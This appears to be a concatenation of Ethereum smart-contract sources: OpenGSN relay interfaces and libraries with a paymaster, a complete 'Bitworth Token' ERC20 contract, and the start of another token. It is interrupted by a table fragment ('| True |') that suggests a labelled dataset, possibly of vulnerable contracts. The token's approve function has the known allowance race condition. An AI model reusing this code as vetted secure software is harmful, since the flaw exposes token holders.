* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @opengsn/contracts/src/interfaces/IStakeManager.sol
pragma solidity >=0.7.6;
interface IStakeManager {
/// Emitted when a stake or unstakeDelay are initialized or increased
event StakeAdded(
address indexed relayManager,
address indexed owner,
uint256 stake,
uint256 unstakeDelay
);
/// Emitted once a stake is scheduled for withdrawal
event StakeUnlocked(
address indexed relayManager,
address indexed owner,
uint256 withdrawBlock
);
/// Emitted when owner withdraws relayManager funds
event StakeWithdrawn(
address indexed relayManager,
address indexed owner,
uint256 amount
);
/// Emitted when an authorized Relay Hub penalizes a relayManager
event StakePenalized(
address indexed relayManager,
address indexed beneficiary,
uint256 reward
);
event HubAuthorized(
address indexed relayManager,
address indexed relayHub
);
event HubUnauthorized(
address indexed relayManager,
address indexed relayHub,
uint256 removalBlock
);
event OwnerSet(
address indexed relayManager,
address indexed owner
);
/// @param stake - amount of ether staked for this relay
/// @param unstakeDelay - number of blocks to elapse before the owner can retrieve the stake after calling 'unlock'
/// @param withdrawBlock - first block number 'withdraw' will be callable, or zero if the unlock has not been called
/// @param owner - address that receives revenue and manages relayManager's stake
struct StakeInfo {
uint256 stake;
uint256 unstakeDelay;
uint256 withdrawBlock;
address payable owner;
}
struct RelayHubInfo {
uint256 removalBlock;
}
/// Set the owner of a Relay Manager. Called only by the RelayManager itself.
/// Note that owners cannot transfer ownership - if the entry already exists, reverts.
/// @param owner - owner of the relay (as configured off-chain)
function setRelayManagerOwner(address payable owner) external;
/// Only the owner can call this function. If the entry does not exist, reverts.
/// @param relayManager - address that represents a stake entry and controls relay registrations on relay hubs
/// @param unstakeDelay - number of blocks to elapse before the owner can retrieve the stake after calling 'unlock'
function stakeForRelayManager(address relayManager, uint256 unstakeDelay) external payable;
function unlockStake(address relayManager) external;
function withdrawStake(address relayManager) external;
function authorizeHubByOwner(address relayManager, address relayHub) external;
function authorizeHubByManager(address relayHub) external;
function unauthorizeHubByOwner(address relayManager, address relayHub) external;
function unauthorizeHubByManager(address relayHub) external;
function isRelayManagerStaked(address relayManager, address relayHub, uint256 minAmount, uint256 minUnstakeDelay)
external
view
returns (bool);
/// Slash the stake of the relay relayManager. In order to prevent stake kidnapping, burns half of stake on the way.
/// @param relayManager - entry to penalize
/// @param beneficiary - address that receives half of the penalty amount
/// @param amount - amount to withdraw from stake
function penalizeRelayManager(address relayManager, address payable beneficiary, uint256 amount) external;
function getStakeInfo(address relayManager) external view returns (StakeInfo memory stakeInfo);
function maxUnstakeDelay() external view returns (uint256);
function versionSM() external view returns (string memory);
}
// File: @opengsn/contracts/src/interfaces/IRelayHub.sol
pragma solidity >=0.7.6;
interface IRelayHub {
struct RelayHubConfig {
// maximum number of worker accounts allowed per manager
uint256 maxWorkerCount;
// Gas set aside for all relayCall() instructions to prevent unexpected out-of-gas exceptions
uint256 gasReserve;
// Gas overhead to calculate gasUseWithoutPost
uint256 postOverhead;
// Gas cost of all relayCall() instructions after actual 'calculateCharge()'
// Assume that relay has non-zero balance (costs 15'000 more otherwise).
uint256 gasOverhead;
// Maximum funds that can be deposited at once. Prevents user error by disallowing large deposits.
uint256 maximumRecipientDeposit;
// Minimum unstake delay blocks of a relay manager's stake on the StakeManager
uint256 minimumUnstakeDelay;
// Minimum stake a relay can have. An attack on the network will never cost less than half this value.
uint256 minimumStake;
// relayCall()'s msg.data upper bound gas cost per byte
uint256 dataGasCostPerByte;
// relayCalls() minimal gas overhead when calculating cost of putting tx on chain.
uint256 externalCallDataCostOverhead;
}
event RelayHubConfigured(RelayHubConfig config);
/// Emitted when a relay server registers or updates its details
/// Looking at these events lets a client discover relay servers
event RelayServerRegistered(
address indexed relayManager,
uint256 baseRelayFee,
uint256 pctRelayFee,
string relayUrl
);
/// Emitted when relays are added by a relayManager
event RelayWorkersAdded(
address indexed relayManager,
address[] newRelayWorkers,
uint256 workersCount
);
/// Emitted when an account withdraws funds from RelayHub.
event Withdrawn(
address indexed account,
address indexed dest,
uint256 amount
);
/// Emitted when depositFor is called, including the amount and account that was funded.
event Deposited(
address indexed paymaster,
address indexed from,
uint256 amount
);
/// Emitted when an attempt to relay a call fails and Paymaster does not accept the transaction.
/// The actual relayed call was not executed, and the recipient not charged.
/// @param reason contains a revert reason returned from preRelayedCall or forwarder.
event TransactionRejectedByPaymaster(
address indexed relayManager,
address indexed paymaster,
address indexed from,
address to,
address relayWorker,
bytes4 selector,
uint256 innerGasUsed,
bytes reason
);
/// Emitted when a transaction is relayed. Note that the actual encoded function might be reverted: this will be
/// indicated in the status field.
/// Useful when monitoring a relay's operation and relayed calls to a contract.
/// Charge is the ether value deducted from the recipient's balance, paid to the relay's manager.
event TransactionRelayed(
address indexed relayManager,
address indexed relayWorker,
address indexed from,
address to,
address paymaster,
bytes4 selector,
RelayCallStatus status,
uint256 charge
);
event TransactionResult(
RelayCallStatus status,
bytes returnValue
);
event HubDeprecated(uint256 fromBlock);
/// Reason error codes for the TransactionRelayed event
/// @param OK - the transaction was successfully relayed and execution successful - never included in the event
/// @param RelayedCallFailed - the transaction was relayed, but the relayed call failed
/// @param RejectedByPreRelayed - the transaction was not relayed due to preRelatedCall reverting
/// @param RejectedByForwarder - the transaction was not relayed due to forwarder check (signature,nonce)
/// @param PostRelayedFailed - the transaction was relayed and reverted due to postRelatedCall reverting
/// @param PaymasterBalanceChanged - the transaction was relayed and reverted due to the paymaster balance change
enum RelayCallStatus {
OK,
RelayedCallFailed,
RejectedByPreRelayed,
RejectedByForwarder,
RejectedByRecipientRevert,
PostRelayedFailed,
PaymasterBalanceChanged
}
/// Add new worker addresses controlled by sender who must be a staked Relay Manager address.
/// Emits a RelayWorkersAdded event.
/// This function can be called multiple times, emitting new events
function addRelayWorkers(address[] calldata newRelayWorkers) external;
function registerRelayServer(uint256 baseRelayFee, uint256 pctRelayFee, string calldata url) external;
// Balance management
/// Deposits ether for a contract, so that it can receive (and pay for) relayed transactions. Unused balance can only
/// be withdrawn by the contract itself, by calling withdraw.
/// Emits a Deposited event.
function depositFor(address target) external payable;
/// Withdraws from an account's balance, sending it back to it. Relay managers call this to retrieve their revenue, and
/// contracts can also use it to reduce their funding.
/// Emits a Withdrawn event.
function withdraw(uint256 amount, address payable dest) external;
// Relaying
/// Relays a transaction. For this to succeed, multiple conditions must be met:
/// - Paymaster's "preRelayCall" method must succeed and not revert
/// - the sender must be a registered Relay Worker that the user signed
/// - the transaction's gas price must be equal or larger than the one that was signed by the sender
/// - the transaction must have enough gas to run all internal transactions if they use all gas available to them
/// - the Paymaster must have enough balance to pay the Relay Worker for the scenario when all gas is spent
///
/// If all conditions are met, the call will be relayed and the recipient charged.
///
/// Arguments:
/// @param maxAcceptanceBudget - max valid value for paymaster.getGasLimits().acceptanceBudget
/// @param relayRequest - all details of the requested relayed call
/// @param signature - client's EIP-712 signature over the relayRequest struct
/// @param approvalData: dapp-specific data forwarded to preRelayedCall.
/// This value is *not* verified by the Hub. For example, it can be used to pass a signature to the Paymaster
/// @param externalGasLimit - the value passed as gasLimit to the transaction.
///
/// Emits a TransactionRelayed event.
function relayCall(
uint maxAcceptanceBudget,
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint externalGasLimit
)
external
returns (bool paymasterAccepted, bytes memory returnValue);
function penalize(address relayWorker, address payable beneficiary) external;
function setConfiguration(RelayHubConfig memory _config) external;
// Deprecate hub (reverting relayCall()) from block number 'fromBlock'
// Can only be called by owner
function deprecateHub(uint256 fromBlock) external;
/// The fee is expressed as a base fee in wei plus percentage on actual charge.
/// E.g. a value of 40 stands for a 40% fee, so the recipient will be
/// charged for 1.4 times the spent amount.
function calculateCharge(uint256 gasUsed, GsnTypes.RelayData calldata relayData) external view returns (uint256);
/* getters */
/// Returns the whole hub configuration
function getConfiguration() external view returns (RelayHubConfig memory config);
function calldataGasCost(uint256 length) external view returns (uint256);
function workerToManager(address worker) external view returns(address);
function workerCount(address manager) external view returns(uint256);
/// Returns an account's deposits. It can be either a deposit of a paymaster, or a revenue of a relay manager.
function balanceOf(address target) external view returns (uint256);
function stakeManager() external view returns (IStakeManager);
function penalizer() external view returns (address);
/// Uses StakeManager info to decide if the Relay Manager can be considered staked
/// @return true if stake size and delay satisfy all requirements
function isRelayManagerStaked(address relayManager) external view returns(bool);
// Checks hubs' deprecation status
function isDeprecated() external view returns (bool);
// Returns the block number from which the hub no longer allows relaying calls.
function deprecationBlock() external view returns (uint256);
/// @return a SemVer-compliant version of the hub contract
function versionHub() external view returns (string memory);
}
// File: @opengsn/contracts/src/interfaces/IRelayRecipient.sol
pragma solidity >=0.7.6;
/**
* a contract must implement this interface in order to support relayed transaction.
* It is better to inherit the BaseRelayRecipient as its implementation.
*/
abstract contract IRelayRecipient {
/**
* return if the forwarder is trusted to forward relayed transactions to us.
* the forwarder is required to verify the sender's signature, and verify
* the call is not a replay.
*/
function isTrustedForwarder(address forwarder) public virtual view returns(bool);
/**
* return the sender of this call.
* if the call came through our trusted forwarder, then the real sender is appended as the last 20 bytes
* of the msg.data.
* otherwise, return `msg.sender`
* should be used in the contract anywhere instead of msg.sender
*/
function _msgSender() internal virtual view returns (address payable);
/**
* return the msg.data of this call.
* if the call came through our trusted forwarder, then the real sender was appended as the last 20 bytes
* of the msg.data - so this method will strip those 20 bytes off.
* otherwise (if the call was made directly and not through the forwarder), return `msg.data`
* should be used in the contract instead of msg.data, where this difference matters.
*/
function _msgData() internal virtual view returns (bytes memory);
function versionRecipient() external virtual view returns (string memory);
}
// File: @opengsn/contracts/src/utils/MinLibBytes.sol
// minimal bytes manipulation required by GSN
// a minimal subset from 0x/LibBytes
/* solhint-disable no-inline-assembly */
pragma solidity >=0.7.6;
library MinLibBytes {
//truncate the given parameter (in-place) if its length is above the given maximum length
// do nothing otherwise.
//NOTE: solidity warns unless the method is marked "pure", but it DOES modify its parameter.
function truncateInPlace(bytes memory data, uint256 maxlen) internal pure {
if (data.length > maxlen) {
assembly { mstore(data, maxlen) }
}
}
/// @dev Reads an address from a position in a byte array.
/// @param b Byte array containing an address.
/// @param index Index in byte array of address.
/// @return result address from byte array.
function readAddress(
bytes memory b,
uint256 index
)
internal
pure
returns (address result)
{
require (b.length >= index + 20, "readAddress: data too short");
// Add offset to index:
// 1. Arrays are prefixed by 32-byte length parameter (add 32 to index)
// 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index)
index += 20;
// Read address from array memory
assembly {
// 1. Add index to address of bytes array
// 2. Load 32-byte word from memory
// 3. Apply 20-byte mask to obtain address
result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
return result;
}
function readBytes32(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes32 result)
{
require(b.length >= index + 32, "readBytes32: data too short" );
// Read the bytes32 from array memory
assembly {
result := mload(add(b, add(index,32)))
}
return result;
}
/// @dev Reads a uint256 value from a position in a byte array.
/// @param b Byte array containing a uint256 value.
/// @param index Index in byte array of uint256 value.
/// @return result uint256 value from byte array.
function readUint256(
bytes memory b,
uint256 index
)
internal
pure
returns (uint256 result)
{
result = uint256(readBytes32(b, index));
return result;
}
function readBytes4(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes4 result)
{
require(b.length >= index + 4, "readBytes4: data too short");
// Read the bytes4 from array memory
assembly {
result := mload(add(b, add(index,32)))
// Solidity does not require us to clean the trailing bytes.
// We do it anyway
result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000)
}
return result;
}
}
// File: @opengsn/contracts/src/utils/GsnUtils.sol
/* solhint-disable no-inline-assembly */
pragma solidity >=0.7.6;
library GsnUtils {
/**
* extract method sig from encoded function call
*/
function getMethodSig(bytes memory msgData) internal pure returns (bytes4) {
return MinLibBytes.readBytes4(msgData, 0);
}
/**
* extract parameter from encoded-function block.
* see: https://solidity.readthedocs.io/en/develop/abi-spec.html#formal-specification-of-the-encoding
* the return value should be casted to the right type (uintXXX/bytesXXX/address/bool/enum)
*/
function getParam(bytes memory msgData, uint index) internal pure returns (uint) {
return MinLibBytes.readUint256(msgData, 4 + index * 32);
}
//re-throw revert with the same revert data.
function revertWithData(bytes memory data) internal pure {
assembly {
revert(add(data,32), mload(data))
}
}
}
// File: @opengsn/contracts/src/utils/GsnEip712Library.sol
pragma solidity >=0.7.6;
/**
* Bridge Library to map GSN RelayRequest into a call of a Forwarder
*/
library GsnEip712Library {
// maximum length of return value/revert reason for 'execute' method. Will truncate result if exceeded.
uint256 private constant MAX_RETURN_SIZE = 1024;
//copied from Forwarder (can't reference string constants even from another library)
string public constant GENERIC_PARAMS = "address from,address to,uint256 value,uint256 gas,uint256 nonce,bytes data,uint256 validUntil";
bytes public constant RELAYDATA_TYPE = "RelayData(uint256 gasPrice,uint256 pctRelayFee,uint256 baseRelayFee,address relayWorker,address paymaster,address forwarder,bytes paymasterData,uint256 clientId)";
string public constant RELAY_REQUEST_NAME = "RelayRequest";
string public constant RELAY_REQUEST_SUFFIX = string(abi.encodePacked("RelayData relayData)", RELAYDATA_TYPE));
bytes public constant RELAY_REQUEST_TYPE = abi.encodePacked(
RELAY_REQUEST_NAME,"(",GENERIC_PARAMS,",", RELAY_REQUEST_SUFFIX);
bytes32 public constant RELAYDATA_TYPEHASH = keccak256(RELAYDATA_TYPE);
bytes32 public constant RELAY_REQUEST_TYPEHASH = keccak256(RELAY_REQUEST_TYPE);
struct EIP712Domain {
string name;
string version;
uint256 chainId;
address verifyingContract;
}
bytes32 public constant EIP712DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
function splitRequest(
GsnTypes.RelayRequest calldata req
)
internal
pure
returns (
bytes memory suffixData
) {
suffixData = abi.encode(
hashRelayData(req.relayData));
}
//verify that the recipient trusts the given forwarder
// MUST be called by paymaster
function verifyForwarderTrusted(GsnTypes.RelayRequest calldata relayRequest) internal view {
(bool success, bytes memory ret) = relayRequest.request.to.staticcall(
abi.encodeWithSelector(
IRelayRecipient.isTrustedForwarder.selector, relayRequest.relayData.forwarder
)
);
require(success, "isTrustedForwarder: reverted");
require(ret.length == 32, "isTrustedForwarder: bad response");
require(abi.decode(ret, (bool)), "invalid forwarder for recipient");
}
function verifySignature(GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature) internal view {
(bytes memory suffixData) = splitRequest(relayRequest);
bytes32 _domainSeparator = domainSeparator(relayRequest.relayData.forwarder);
IForwarder forwarder = IForwarder(payable(relayRequest.relayData.forwarder));
forwarder.verify(relayRequest.request, _domainSeparator, RELAY_REQUEST_TYPEHASH, suffixData, signature);
}
function verify(GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature) internal view {
verifyForwarderTrusted(relayRequest);
verifySignature(relayRequest, signature);
}
function execute(GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature) internal returns (bool forwarderSuccess, bool callSuccess, bytes memory ret) {
(bytes memory suffixData) = splitRequest(relayRequest);
bytes32 _domainSeparator = domainSeparator(relayRequest.relayData.forwarder);
/* solhint-disable-next-line avoid-low-level-calls */
(forwarderSuccess, ret) = relayRequest.relayData.forwarder.call(
abi.encodeWithSelector(IForwarder.execute.selector,
relayRequest.request, _domainSeparator, RELAY_REQUEST_TYPEHASH, suffixData, signature
));
if ( forwarderSuccess ) {
//decode return value of execute:
(callSuccess, ret) = abi.decode(ret, (bool, bytes));
}
truncateInPlace(ret);
}
//truncate the given parameter (in-place) if its length is above the given maximum length
// do nothing otherwise.
//NOTE: solidity warns unless the method is marked "pure", but it DOES modify its parameter.
function truncateInPlace(bytes memory data) internal pure {
MinLibBytes.truncateInPlace(data, MAX_RETURN_SIZE);
}
function domainSeparator(address forwarder) internal pure returns (bytes32) {
return hashDomain(EIP712Domain({
name : "GSN Relayed Transaction",
version : "2",
chainId : getChainID(),
verifyingContract : forwarder
}));
}
function getChainID() internal pure returns (uint256 id) {
/* solhint-disable no-inline-assembly */
assembly {
id := chainid()
}
}
function hashDomain(EIP712Domain memory req) internal pure returns (bytes32) {
return keccak256(abi.encode(
EIP712DOMAIN_TYPEHASH,
keccak256(bytes(req.name)),
keccak256(bytes(req.version)),
req.chainId,
req.verifyingContract));
}
function hashRelayData(GsnTypes.RelayData calldata req) internal pure returns (bytes32) {
return keccak256(abi.encode(
RELAYDATA_TYPEHASH,
req.gasPrice,
req.pctRelayFee,
req.baseRelayFee,
req.relayWorker,
req.paymaster,
req.forwarder,
keccak256(req.paymasterData),
req.clientId
));
}
}
// File: @opengsn/contracts/src/BasePaymaster.sol
pragma solidity >=0.7.6;
/**
* Abstract base class to be inherited by a concrete Paymaster
* A subclass must implement:
* - preRelayedCall
* - postRelayedCall
*/
abstract contract BasePaymaster is IPaymaster, Ownable {
IRelayHub internal relayHub;
IForwarder public override trustedForwarder;
function getHubAddr() public override view returns (address) {
return address(relayHub);
}
//overhead of forwarder verify+signature, plus hub overhead.
uint256 constant public FORWARDER_HUB_OVERHEAD = 50000;
//These parameters are documented in IPaymaster.GasAndDataLimits
uint256 constant public PRE_RELAYED_CALL_GAS_LIMIT = 100000;
uint256 constant public POST_RELAYED_CALL_GAS_LIMIT = 110000;
uint256 constant public PAYMASTER_ACCEPTANCE_BUDGET = PRE_RELAYED_CALL_GAS_LIMIT + FORWARDER_HUB_OVERHEAD;
uint256 constant public CALLDATA_SIZE_LIMIT = 10500;
function getGasAndDataLimits()
public
override
virtual
view
returns (
IPaymaster.GasAndDataLimits memory limits
) {
return IPaymaster.GasAndDataLimits(
PAYMASTER_ACCEPTANCE_BUDGET,
PRE_RELAYED_CALL_GAS_LIMIT,
POST_RELAYED_CALL_GAS_LIMIT,
CALLDATA_SIZE_LIMIT
);
}
// this method must be called from preRelayedCall to validate that the forwarder
// is approved by the paymaster as well as by the recipient contract.
function _verifyForwarder(GsnTypes.RelayRequest calldata relayRequest)
public
view
{
require(address(trustedForwarder) == relayRequest.relayData.forwarder, "Forwarder is not trusted");
GsnEip712Library.verifyForwarderTrusted(relayRequest);
}
/*
* modifier to be used by recipients as access control protection for preRelayedCall & postRelayedCall
*/
modifier relayHubOnly() {
require(msg.sender == getHubAddr(), "can only be called by RelayHub");
_;
}
function setRelayHub(IRelayHub hub) public onlyOwner {
relayHub = hub;
}
function setTrustedForwarder(IForwarder forwarder) public onlyOwner {
trustedForwarder = forwarder;
}
/// check current deposit on relay hub.
function getRelayHubDeposit()
public
override
view
returns (uint) {
return relayHub.balanceOf(address(this));
}
// any money moved into the paymaster is transferred as a deposit.
// This way, we don't need to understand the RelayHub API in order to replenish
// the paymaster.
receive() external virtual payable {
require(address(relayHub) != address(0), "relay hub address not set");
relayHub.depositFor{value:msg.value}(address(this));
}
/// withdraw deposit from relayHub
function withdrawRelayHubDepositTo(uint amount, address payable target) public onlyOwner {
relayHub.withdraw(amount, target);
}
}
// File: contracts/SingleRecipientPaymaster.sol
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
/**
* a paymaster for a single recipient contract.
* - reject requests if destination is not the target contract.
* - reject any request if the target contract reverts.
*/
contract SingleRecipientPaymaster is BasePaymaster {
address public target;
constructor(address _target) {
target=_target;
}
function versionPaymaster() external view override virtual returns (string memory){
return "2.2.0+opengsn.recipient.ipaymaster";
}
function preRelayedCall(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
)
external
override
virtual
returns (bytes memory context, bool revertOnRecipientRevert) {
(relayRequest, signature, approvalData, maxPossibleGas);
require(relayRequest.request.to==target, "wrong target");
//returning "true" means this paymaster accepts all requests that
// are not rejected by the recipient contract.
return ("", true);
}
function postRelayedCall(
bytes calldata context,
bool success,
uint256 gasUseWithoutPost,
GsnTypes.RelayData calldata relayData
) external override virtual {
(context, success, gasUseWithoutPost, relayData);
}
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/**
*Submitted for verification at Etherscan.io on 2021-02-21
*/
pragma solidity 0.6.6;
// ----------------------------------------------------------------------------
// 'Bitworth Token' token contract
//
// Deployed to : 0x0D9E7D95b56107CD63575ffb935e928E21C03cfC
// Symbol : BITW
// Name : Bitworth Token
// Total supply: 10000000000000
// Decimals : 5
//
// Enjoy.
//
// (c) by Andy Feng 2021. MIT License.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
abstract contract ERC20Interface {
function totalSupply() virtual public view returns (uint);
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
function transfer(address to, uint tokens) virtual public returns (bool success);
function approve(address spender, uint tokens) virtual public returns (bool success);
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract BitworthToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "BITW";
name = "Bitworth Token";
decimals = 5;
_totalSupply = 10000000000000;
balances[0x0D9E7D95b56107CD63575ffb935e928E21C03cfC] = _totalSupply;
emit Transfer(address(0), 0x0D9E7D95b56107CD63575ffb935e928E21C03cfC, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public override view returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public override returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
// function () external payable {
// revert();
// }
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-07-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-04-23
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
